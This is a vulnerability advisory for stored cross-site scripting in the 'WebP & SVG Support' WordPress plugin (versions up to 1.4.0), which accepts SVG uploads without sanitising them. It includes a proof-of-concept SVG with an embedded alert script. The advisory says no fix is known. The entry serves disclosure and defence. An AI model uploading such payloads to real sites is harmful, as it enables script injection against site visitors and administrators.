WordPress Plugin Vulnerabilities

WebP & SVG Support <= 1.4.0 - Author+ Stored XSS via SVG

Description

The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.

Proof of Concept

Upload an SVG with the following markup:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS");
  </script>
</svg>
```

Load the SVG and see the XSS.

Code reference:
https://plugins.trac.wordpress.org/browser/webp-svg-support/trunk/core/bootstrap.php#L111

Affects Plugins

No known fix

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Bob Matyas, Rayhan Ramdhany Hanaputra
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-06-05 (about 25 days ago)
Added
2024-06-05 (about 24 days ago)
Last Updated
2024-06-05 (about 24 days ago)

Other